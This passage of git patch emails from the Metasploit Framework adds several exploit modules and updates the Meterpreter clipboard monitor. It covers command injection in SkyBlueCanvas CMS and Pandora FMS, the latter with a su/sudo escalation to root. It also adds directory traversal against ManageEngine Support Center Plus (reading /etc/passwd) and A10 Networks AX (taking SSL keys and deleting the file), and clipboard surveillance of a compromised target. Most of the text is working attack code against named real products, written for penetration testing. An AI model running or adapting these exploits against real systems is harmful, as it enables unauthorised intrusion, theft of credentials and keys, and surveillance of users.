call_guid = opts[:call_guid] From bac6e2a3e18b225dd97e6cc88d94e9e525bac4be Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Tue, 28 Jan 2014 11:06:25 +0700 Subject: [PATCH 108/246] added SkyBlueCanvas CMS 1.1 r248-03 RCE --- .../exploits/multi/http/skybluecanvas_exec.rb | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 modules/exploits/multi/http/skybluecanvas_exec.rb diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb new file mode 100644 index 0000000000..482afd3571 --- /dev/null +++ b/modules/exploits/multi/http/skybluecanvas_exec.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SkyBlueCanvas CMS Remote Code Execution', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability + in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is + inside /index.php?pid=4. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Parish', # Vulnerability discovery and exploit + 'xistence <xistence[at]0x90.nl>' # Metasploit Module + ], + 'References' => + [ + ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python' + } + }, + 'Platform' => %w{ linux unix }, + 'Targets' => + [ + ['SkyBlueCanvas', {}] + ], + 'Arch' => ARCH_CMD, + 'DisclosureDate' => 'Jan 28 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), + ],self.class) + end + + def check + uri = normalize_uri(datastore['URI'], "index.php") + + res = send_request_raw( + { + 'uri' => uri + }, 25) + + if (res and res.body =~ /[1.1 r248]/) + print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") + return Exploit::CheckCode::Unknown + end + return Exploit::CheckCode::Safe + end + + def exploit + uri = normalize_uri(datastore['URI'], "index.php?pid=4") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'cid' => "3", + 'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};", + 'email' => rand_text_alphanumeric(10), + "subject" => rand_text_alphanumeric(10), + "message" => rand_text_alphanumeric(10), + "action" => "Send" + } + }, 25) + end +end From 32d7f15a5c75a03dca8d8cc5f2002b691c5946a7 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Tue, 28 Jan 2014 15:45:23 +0700 Subject: [PATCH 109/246] added ManageEngine Support Center Plus directory traversal auxiliary module --- ...support_center_plus_directory_traversal.rb | 154 ++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb new file mode 100644 index 0000000000..d74157e6db --- /dev/null +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Support Center Plus 7916 Directory Traversal", + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in ManageEngine + Support Center Plus build 7916 and lower. The module will create a support ticket + as a normal user, attaching a link to a file on the server. By requesting our + own attachment, it's possible to retrieve any file on the filesystem with the same + privileges as Support Center Plus is running. On Windows this is always with SYSTEM + privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module + 'References' => + [ + ], + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + 'Targets' => 'Support Center Plus', + 'Privileged' => true, + 'DisclosureDate' => "Jan 28 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), + OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), + OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), + OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), + OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) + ], self.class) + end + + def run_host(ip) + uri = target_uri.path + peer = "#{ip}:#{rport}" + + print_status("#{peer} - Retrieving cookie") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, ""), + }) + + if res.code == 200 + if (res.headers['Set-Cookie'] =~ /JSESSIONID=([a-zA-Z0-9]+)/) + session = $1 + print_status("#{peer} - Session cookie is [ #{session} ]") + else + print_error("#{peer} - Session cookie not found!") + end + else + print_error("#{peer} - Server returned #{res.code.to_s}") + end + + post_data = "j_username=#{datastore['USER']}&j_password=#{datastore['PASS']}&logonDomainName=undefined&sso_status=false&loginButton=Login" + print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "j_security_check"), + 'cookie' => "JSESSIONID=#{session}", + 'data' => post_data + }) + + if not res or res.code != 302 + print_error("#{peer} - Login was not succesful!") + return + else + print_status("#{peer} - Login succesful") + end + + randomname = Rex::Text.rand_text_alphanumeric(10) + print_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "WorkOrder.do"), + 'cookie' => "JSESSIONID=#{session}", + 'vars_post' => + { + 'reqTemplate' => '', + 'prodId' => '0', + 'priority' => '2', + 'reqID' => '2', + 'usertypename' => 'Requester', + 'reqName' => 'Guest', + 'category' => '0', + 'item' => '0', + 'subCategory' => '0', + 'title' => randomname, + 'description' => randomname, + 'MOD_IND' => 'WorkOrder', + 'FORMNAME' => 'WorkOrderForm', + 'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}", + 'attPath' => '', + 'component' => 'Request', + 'attSize' => Rex::Text.rand_text_numeric(8), + 'attachments' => randomname, + 'autoCCList' => '', + 'addWO' => 'addWO' + } + }) + + if not res or res.code != 200 + print_error("#{peer} - Ticket not created due to error!") + return + else + print_status("#{peer} - Ticket created") + if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/) + fileid = $1 + print_status("#{peer} - File ID is [ #{fileid} ]") + fileauthkey = $2 + print_status("#{peer} - Auth Key is [ #{fileauthkey} ]") + else + print_error("#{peer} - File ID and AuthKey not found!") + end + end + + print_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey}") + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + else + data = res.body + p = store_loot( + 'manageengine.supportcenterplus', + 'application/octet-stream', + ip, + data, + datastore['FILE'] + ) + print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") + end + end +end + From c8296298b31b850552d79e78190b0a229066a9ad Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Tue, 28 Jan 2014 16:37:25 +0700 Subject: [PATCH 110/246] added A10Networks AX loadbalancer Dir Traversal Auxiliary Module --- .../a10networks_ax_directory_traversal.rb | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb new file mode 100644 index 0000000000..ad30f4b645 --- /dev/null +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'A10 Networks (Soft)AX Loadbalancer 2.6.1-GR1-P5 and 2.7.0 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal flaw found in A10 Networks (Soft) + AX loadbalancers version 2.6.1-GR1-P5/2.7.0 or less. When handling a file download request, + the xml/downloads class fails to properly check the 'filename' parameter, which + can be abused to read any file outside the virtual directory. Important files include SSL certificates. + This module works on both the hardware devices and the Virtual Machine appliances. + IMPORTANT NOTE: This will also delete the file on the device after downloading it. + }, + 'References' => + [ + ], + 'Author' => + [ + 'xistence', #Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Jan 28 2014" + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 80]), + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), + OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']), + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) + ], self.class) + end + + + def run_host(ip) + base = normalize_uri(target_uri.path) + base << '/' if base[-1,1] != '/' + + peer = "#{ip}:#{rport}" + fname = datastore['FILE'] + + print_status("#{peer} - Reading '#{datastore['FILE']}'") + traverse = "../" * datastore['DEPTH'] + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{base}xml/downloads/", + 'vars_get' => { + 'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}" + } + }) + + + if res and res.code == 500 and res.body =~ /Error report/ + print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:") + print_error("\t1. File does not exist.") + print_error("\t2. The server does not have any patches deployed.") + print_error("\t3. Your 'DEPTH' option isn't deep enough.") + print_error("\t4. Some kind of permission issues.") + + elsif res and res.code == 200 + data = res.body + p = store_loot( + 'a10networks.ax', + 'application/octet-stream', + ip, + data, + fname + ) + + vprint_line(data) + print_good("#{peer} - #{fname} stored as '#{p}'") + + else + print_error("#{peer} - Fail to obtain file for some unknown reason") + end + end + +end From e27707cac3ac3c174ad579170babd2e75ae3f1d4 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 29 Jan 2014 14:51:03 +1000 Subject: [PATCH 111/246] More tweaking of the clipboard monitor with dump/purge --- .../extensions/extapi/clipboard/clipboard.rb | 12 +- .../post/meterpreter/extensions/extapi/tlv.rb | 2 +- .../command_dispatcher/extapi/clipboard.rb | 110 ++++++++++++++++-- 3 files changed, 110 insertions(+), 14 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index e6eb0e5436..7fde60f4db 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -47,7 +47,7 @@ class Clipboard def monitor_start(opts) request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, opts[:cap_img]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img]) return client.send_request(request) end @@ -59,9 +59,10 @@ class Clipboard def monitor_dump(opts) pull_img = opts[:include_images] purge = opts[:purge] + purge = true if purge.nil? request = Packet.create_request('extapi_clipboard_monitor_dump') - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) response = client.send_request(request) @@ -74,13 +75,18 @@ class Clipboard return client.send_request(request) end + def monitor_purge + request = Packet.create_request('extapi_clipboard_monitor_purge') + return client.send_request(request) + end + def monitor_stop(opts) dump = opts[:dump] pull_img = opts[:include_images] request = Packet.create_request('extapi_clipboard_monitor_stop') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) response = client.send_request(request) unless dump diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 95d2d73627..9cc1ee584a 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -44,7 +44,7 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) -TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 9a417a2528..0f571204f5 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -21,12 +21,13 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the target's clipboard", "clipboard_monitor_start" => "Start the clipboard monitor", "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", "clipboard_monitor_dump" => "Dump all captured content", + "clipboard_monitor_purge" => "Delete all captured content without dumping it", "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -49,13 +50,13 @@ class Console::CommandDispatcher::Extapi::Clipboard def print_clipboard_get_data_usage print( "\nUsage: clipboard_get_data [-h] [-d]\n\n" + - "Attempts to read the data from the victim's clipboard. If the data is in a\n" + + "Attempts to read the data from the target's clipboard. If the data is in a\n" + "supported format, it is read and returned to the user.\n" + @@get_data_opts.usage + "\n") end # - # Get the data from the victim's clipboard + # Get the data from the target's clipboard # def cmd_clipboard_get_data(*args) download_content = false @@ -89,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def print_clipboard_set_text_usage() + def print_clipboard_set_text_usage print( "\nUsage: clipboard_set_text [-h] <text>\n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -122,7 +123,7 @@ return client.extapi.clipboard.set_text(args.join(" ")) # # Help for the clipboard_monitor_start command. # - def print_clipboard_monitor_start_usage() + def print_clipboard_monitor_start_usage print( "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + "Starts a background clipboard monitoring thread. The thread watches\n" + @@ -139,7 +140,7 @@ return client.extapi.clipboard.set_text(args.join(" ")) def cmd_clipboard_monitor_start(*args) capture_images = true - @@set_text_opts.parse(args) { |opt, idx, val| + @@monitor_start_opts.parse(args) { |opt, idx, val| case opt when "-i" # default this to true @@ -160,6 +161,94 @@ return client.extapi.clipboard.set_text(args.join(" ")) print_good("Clipboard monitor started") end + # + # Options for the clipboard_monitor_purge command. + # + @@monitor_purge_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_purge command. + # + def print_clipboard_monitor_purge_usage + print("\nUsage: clipboard_monitor_purge [-h]\n\n" + + "Purge the captured contents from the monitor. This does not stop\n" + + "the monitor from running, it just removes captured content.\n\n" + + @@monitor_purge_opts.usage + "\n") + end + + # + # Purge the clipboard monitor captured contents + # + def cmd_clipboard_monitor_purge(*args) + @@monitor_purge_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_purge_usage + return true + end + } + client.extapi.clipboard.monitor_purge + print_good("Captured clipboard contents purged successfully") + end + + # + # Options for the clipboard_monitor_dump command. + # + @@monitor_dump_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + ) + + # + # Help for the clipboard_monitor_dump command. + # + def print_clipboard_monitor_dump_usage + print( + "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" + + "Dump the capture clipboard contents to the local machine..\n\n" + + @@monitor_dump_opts.usage + "\n") + end + + # + # Dump the clipboard monitor contents to the local machine. + # + def cmd_clipboard_monitor_dump(*args) + purge = true + download_images = true + download_files = true + download_path = nil + + @@monitor_dump_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-p" + purge = val.downcase != 'false' + when "-h" + print_clipboard_monitor_dump_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_dump({ + :include_images => download_images, + :purge => purge + }) + + parse_dump(dump, download_images, download_files, download_path) + + print_good("Clipboard monitor dumped") + end + # # Options for the clipboard_monitor_stop command. # @@ -167,16 +256,17 @@ return client.extapi.clipboard.set_text(args.join(" ")) "-h" => [ false, "Help banner" ], "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] ) # # Help for the clipboard_monitor_stop command. # - def print_clipboard_monitor_stop_usage() + def print_clipboard_monitor_stop_usage print( "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + - "Stops a clipboard monitor thread and returns the captured data to the attacker.\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" + @@monitor_stop_opts.usage + "\n") end @@ -189,7 +279,7 @@ return client.extapi.clipboard.set_text(args.join(" ")) download_files = true download_path = nil - @@set_text_opts.parse(args) { |opt, idx, val| + @@monitor_stop_opts.parse(args) { |opt, idx, val| case opt when "-d" download_path = val From 9a929e75e4331eda9745c2dfbcdc4d7134a2b9ae Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Wed, 29 Jan 2014 12:46:23 +0700 Subject: [PATCH 112/246] Added Pandora FMS RCE --- .../exploits/linux/http/pandora_fms_exec.rb | 116 ++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 modules/exploits/linux/http/pandora_fms_exec.rb diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb new file mode 100644 index 0000000000..e65eaf60d8 --- /dev/null +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Pandora FMS Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower. + It will leverage an unauthenticated command injection in the Anyterm service on + port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1 + the user "artica" is not assigned a password by default, which makes it possible to su + to this user from the "pandora" user. The "artica" user has access to sudo without a + password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0 + and lower force a password for the "artica" user during installation. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module + ], + 'References' => + [ + ], + 'Payload' => + { + 'BadChars' => "", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python', + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Pandora 5.0RC1', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jan 29 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8023), + OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']), + OptBool.new('PRIVESC', [true, 'Try to escalate privileges to root', false]) + ], self.class) + end + + def on_new_session(client) + if datastore['PRIVESC'] == true + print_status("#{peer} - Trying to escalate privileges to root") + # Spawn a pty for su/sudo + client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'") + # Su to the passwordless "artica" account + client.shell_command_token("su - artica") + # The "artica" use has sudo rights without the need for a password, thus gain root priveleges + client.shell_command_token("sudo -s") + end + end + + def uri + return target_uri.path + end + + def peer + return "#{rhost}:#{rport}" + end + + def check + # Check version + print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "anyterm.html") + }) + + if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/ + print_good("#{peer} - Pandora FMS Remote Gateway Detected!") + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Sending payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "/anyterm-module"), + 'vars_post' => { + 'a' => "open", + 'p' => "`#{payload.raw}`" + } + }) + + if not res or res.code != 200 + fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") + end + + end + +end From 2ef0e7e2a53c5c9b00473054392692f8c80da8b6 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 29 Jan 2014 17:07:06 +1000 Subject: [PATCH 113/246] Small tidy of code --- .../ui/console/command_dispatcher/extapi/clipboard.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 0f571204f5..53eb463b14 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -109,7 +109,8 @@ class Console::CommandDispatcher::Extapi::Clipboard return true end } -return client.extapi.clipboard.set_text(args.join(" ")) + + return client.extapi.clipboard.set_text(args.join(" ")) end # From ad1dce38d2345e7cf835bbeee98ea45862409dd8 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 29 Jan 2014 23:04:43 +1000 Subject: [PATCH 114/246] Final fixes before the monitor PR --- .../extensions/extapi/clipboard/clipboard.rb | 74 +++---- .../command_dispatcher/extapi/clipboard.rb | 190 ++++++++++-------- 2 files changed, 142 insertions(+), 122 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 7fde60f4db..82a58b8361 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -19,8 +19,10 @@ class Clipboard @client = client end + # # Get the target clipboard data in whichever format we can # (if it's supported). + # def get_data(download = false) request = Packet.create_request('extapi_clipboard_get_data') @@ -33,7 +35,9 @@ class Clipboard return parse_dump(response) end + # # Set the target clipboard data to a text value + # def set_text(text) request = Packet.create_request('extapi_clipboard_set_data') @@ -44,6 +48,9 @@ class Clipboard return true end + # + # Start the clipboard monitor if it hasn't been started. + # def monitor_start(opts) request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) @@ -51,11 +58,17 @@ class Clipboard return client.send_request(request) end + # + # Pause the clipboard monitor if it's running. + # def monitor_pause request = Packet.create_request('extapi_clipboard_monitor_pause') return client.send_request(request) end + # + # Dump the conents of the clipboard monitor to the local machine. + # def monitor_dump(opts) pull_img = opts[:include_images] purge = opts[:purge] @@ -70,16 +83,25 @@ class Clipboard return parse_dump(response) end + # + # Resume the clipboard monitor if it has been paused. + # def monitor_resume request = Packet.create_request('extapi_clipboard_monitor_resume') return client.send_request(request) end + # + # Purge the contents of the clipboard capture without downloading. + # def monitor_purge request = Packet.create_request('extapi_clipboard_monitor_purge') return client.send_request(request) end + # + # Stop the clipboard monitor and dump optionally it's contents. + # def monitor_stop(opts) dump = opts[:dump] pull_img = opts[:include_images] @@ -101,44 +123,35 @@ class Clipboard private def parse_dump(response) - results = [] + result = {} - texts = [] response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| - texts << { - :ts => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), - :text => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) - } + ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # fat chance of someone adding two different bits of text to the + # clipboard at the same time + result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) end - if texts.length > 0 - results << { - :type => :text, - :data => texts - } - end - - files = [] response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| - files << { - :ts => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + result[ts]['Files'] ||= [] + result[ts]['Files'] << { :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) } end - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - images = [] response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| if jpg - images << { - :ts => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # same story with images, there's no way more than one can come + # through on the same timestamp with differences + result[ts]['Image'] = { :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) @@ -146,14 +159,7 @@ private end end - if images.length > 0 - results << { - :type => :jpg, - :data => images - } - end - - return results + return result end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 53eb463b14..199cad709c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -24,10 +24,10 @@ class Console::CommandDispatcher::Extapi::Clipboard "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", "clipboard_set_text" => "Write text to the target's clipboard", 